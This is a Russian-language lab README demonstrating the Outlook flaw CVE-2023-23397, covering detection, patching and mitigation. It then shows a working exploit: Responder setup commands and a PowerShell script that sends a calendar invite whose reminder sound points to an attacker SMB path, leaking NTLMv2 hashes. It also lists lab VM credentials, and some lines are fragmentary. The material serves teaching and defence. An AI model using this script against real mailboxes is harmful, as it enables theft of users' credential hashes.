
Демонстрация уязвимости повышения привилегий CVE-2023-23397 в Outlook
Этот проект демонстрирует обнаружение, эксплуатацию и смягчение CVE-2023-23397 — критической уязвимости нулевого клика для ретрансляции NTLM в Microsoft Outlook для Windows. Эксплуатируемая через приглашения в календаре, эта уязвимость позволяет злоумышленникам перехватывать хэши NTLMv2 без какого-либо взаимодействия с пользователем.
🛡️ Оценка CVSS: 9.8 (Критическая)
🖥️ Затронутые версии: Outlook 2013, 2016, 2019, Microsoft 365 (до патча от 14 марта 2023 года)
Напоминания календаря Outlook можно настроить на воспроизведение пользовательских звуков через свойство MAPI PidLidReminderFileParameter. Outlook не проверяет UNC-пути, что позволяет отправлять удаленные SMB-запросы при срабатывании напоминаний.
\\attacker-ip\share\sound.wav
Это приводит к отправке хэшей NTLMv2 на серверы, контролируемые злоумышленником, которые затем могут:
Используйте MFCMAPI для проверки элементов календаря и поиска вредоносных значений в PidLidReminderFileParameter (тег MAPI 0x851F001F).
Быстрый запуск > Открыть папку > КалендарьТаблица > Установить столбцы0x808A001F для просмотра путей к файлам напоминанийУстановите патч от 14 марта 2023 года (например, KB5002044). Патч вводит:
IsFileZoneLocalIntranetOrTrusted() для проверки путей к файлам напоминанийРезультат теста:
Outlook будет регистрировать событие с ID 1008 и блокировать доступ к недоверенным SMB-путям.
192.168.1.0/24)📂 Готовая политика: OutlookMitigation.ipsec
| Система | Имя пользователя | Пароль |
|---|---|---|
| Kali Linux | kali | kali |
| Windows 10 VM | CVE-2023-23397 | vbox@123 |
| Email Account | [email protected] |
sudo apt install responder
sudo responder -I eth0 -v
Убедитесь, что Kali и виртуальная машина жертвы находятся в одной сети.
Установите:
Настройте:
exploit.com[email protected]# Initialize Outlook COM object
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
$ip = "192.168.1.7" # Attacker IP here
$emails = @("[email protected]") # List of emails
# Create a new appointment item
$Appointment = $Outlook.CreateItem(1) # 1 corresponds to olAppointmentItem
# Set appointment properties
$Appointment.Subject = "CVE Presentation Demo Demo"
$Appointment.Body = "This is a test meeting, please ignore it."
$Appointment.Location = "Dubai"
$Appointment.Start = (Get-Date).AddSeconds(1) # Start time set to 1 second from now
$Appointment.Duration = 30 # Duration in minutes
# Configure reminder settings
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"
foreach ($email in $emails) {
$Appointment.Recipients.Add($email) | Out-Null
}
# Save and send the appointment
$Appointment.Save()
$Appointment.Send()
Responder перехватит хэш NTLMv2 с системы жертвы.
PidLidReminderFileParameter содержит UNC-путь.| vbox@123 |